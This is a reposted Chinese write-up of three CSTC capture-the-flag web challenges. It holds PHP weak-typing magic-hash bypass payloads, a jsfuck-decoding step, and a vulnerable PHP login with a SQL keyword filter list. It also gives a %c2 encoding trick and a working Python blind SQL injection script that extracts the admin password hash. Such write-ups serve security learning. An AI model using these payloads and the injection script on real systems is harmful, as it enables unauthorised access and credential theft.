CSTC-Web-writeup

來源:互聯網
上載者:User

標籤:dmi   exp   global   url   image   UI   echo   lap   gif   

0x01  前言

這一次的比賽web題只做出來3個,也是菜的摳腳。。

0x02 web-簽到題   php弱類型

查看源碼,發現是代碼審計,要求使用者名稱必須為字母,密碼必須為數字,登陸頁面可以用開頭為0e的md5值繞過,下面列出一串0e開頭的md5值

1 <?php2 var_dump(md5(‘240610708‘) == md5(‘QNKCDZO‘)); //bool(true)3 var_dump(md5(‘aabg7XSs‘) == md5(‘aabC9RqS‘)); //bool(true)4 var_dump(sha1(‘aaroZmOk‘) == sha1(‘aaK1STfY‘)); //bool(true)5 var_dump(sha1(‘aaO8zKZF‘) == sha1(‘aa3OFF9m‘)); //bool(true)6 var_dump(‘0010e2‘ == ‘1e3‘); //bool(true)7 var_dump(‘0x1234Ab‘ == ‘1193131‘); //bool(true)8 var_dump(‘0xABCdef‘ == ‘     0xABCdef‘); //bool(true)9 ?>

這裡是利用了php弱類型的漏洞,0e開頭的md5值在進行比較的時候,會將0e識別為科學計數法,先做字串到數字類型的轉換,0的很多次方還是0所以相等,繞過

第二部分是代碼審計,同樣是利用php弱類型 把json_decode中的內容解碼之後,將裡面的key鍵所對應的值與$key進行比較,如果正確則返回flag

php在進行數字與字串比較的時候,會將字串先轉化成數字類型,然後再進行比較

<?php
var_dump("admin"==0); //bool(true)
var_dump("0e123"==0); //bool(true)
var_dump("4test"==4); //bool(true)
?>

所以我們的poc是  message={"key":0}即可拿到flag

0x03 web 抽抽獎

在 http://117.34.111.15/js/jQuery.js 中找到了一串jsfuck加密,解密即可拿到flag 推薦兩個解jsfuck的網站

www.jsfuck.com

https://enkhee-osiris.github.io/Decoder-JSFuck 

0x04 web soeasy
 1  <?php  2  3 include("config.php"); 4  5 $conn ->query("set names utf8"); 6  7 function randStr($lenth=32){ 8     $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; 9     $str = "";10     while($lenth>0){11       $str.=substr($strBase,rand(0,strlen($strBase)-1),1);12       $lenth --;13     }14    return $str;15 }16 17 if($install){18     $sql = "create table `user` (19          `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,20          `username` varchar(30) NOT NULL,21          `passwd` varchar(32) NOT NULL,22          `role` varchar(30) NOT NULL23        )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";24     if($conn->query($sql)){25        $sql  = "insert into `user`(`username`,`passwd`,`role`) values (‘admin‘,‘".md5(randStr())."‘,‘admin‘)";26        $conn -> query($sql);27     }28 }29 30 function filter($str){31      $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode(‘%09‘)."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode(‘%0c‘)."|".urldecode(‘%0d‘)."|".urldecode(‘%a0‘)."/i"; 32      if(preg_match($filter,$str)){33          die("you can‘t input this illegal char!");34      }35      return $str; 36 37 }38 39 40 function show($username){41   global $conn;42   $sql = "select role from `user` where username =‘".$username."‘";43   $res = $conn ->query($sql);44   if($res->num_rows>0){45 46       echo "$username is ".$res->fetch_assoc()[‘role‘];47   }else{48       die("Don‘t have this user!");49   }50 }51 52 function login($username,$passwd){53     global $conn;54     global $flag;55 56     $username = trim(strtolower($username));57     $passwd = trim(strtolower($passwd));58     if($username == ‘admin‘){59         die("you can‘t login this as admin!");60     }61     62     $sql = "select * from `user` where username=‘".$conn->escape_string($username)."‘ and passwd=‘".$conn->escape_string($passwd)."‘";63     $res = $conn ->query($sql);64     if($res->num_rows>0){65         if($res->fetch_assoc()[‘role‘] === ‘admin‘) exit($flag);66     }else{67        echo "sorry,username or passwd error!";  68     }69 70 }71 72 function source(){73 74     highlight_file(__FILE__);75 }76 77 $username = isset($_POST[‘username‘])?filter($_POST[‘username‘]):"";78 $passwd = isset($_POST[‘passwd‘])?filter($_POST[‘passwd‘]):"";79 80 $action = isset($_GET[‘action‘])?filter($_GET[‘action‘]):"source";81 82 switch($action){83    case "source": source(); break ;84    case "login" : login($username,$passwd);break;85    case "show" : show($username);break;86 }

action 有三種模式 source login show ,source是使代碼高亮,login 是需要登陸 ,show 是尋找username是否存在

查看源碼得知username為admin password為一串隨機產生的32字串的md5值 顯然通過login 這裡爆破密碼是不可取的,並且login要繞過admin,這裡參考了p牛的文章,用%c2可以繞過

迴歸正題這裡在login欄位有一個$sql語句可以注入,屬於盲注,下面這些欄位被過濾了

 1 <?php 2 * 3 ; 4 , 5 is 6 union 7 like 8 regexp 9 for10 and 11 or12 file13 --14 |15 `16 &17 空格18 ?>
View Code

這道題和swup-CTF的題有點類似

()可以繞過空格,運用select*from xx where xx=‘0‘=‘1‘=‘0‘ 然後在1中放入我們的代碼就好了

直接放poc

 1 #coding=utf-8 2 import requests 3 url=‘http://117.34.111.15:89/index.php?action=show‘ 4 string=‘abcdef0123456789‘ 5 flag="" 6 for length in range(1,33): 7     for x in string: 8         s=requests.session() 9         payload={"username":"username‘=(select(1)from(user)where(mid((passwd)from(%d))=‘%s%s‘))=‘"%(33-length,x,flag)}10         if ‘admin‘ in s.post(url,data=payload).content:11             flag=x+flag12             print 33-length,flag

最終將密碼的md5值跑出來

login處%c2繞過原理具體請看p牛文章 Mysql字元編碼利用技巧

 最終getflag

 

CSTC-Web-writeup

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.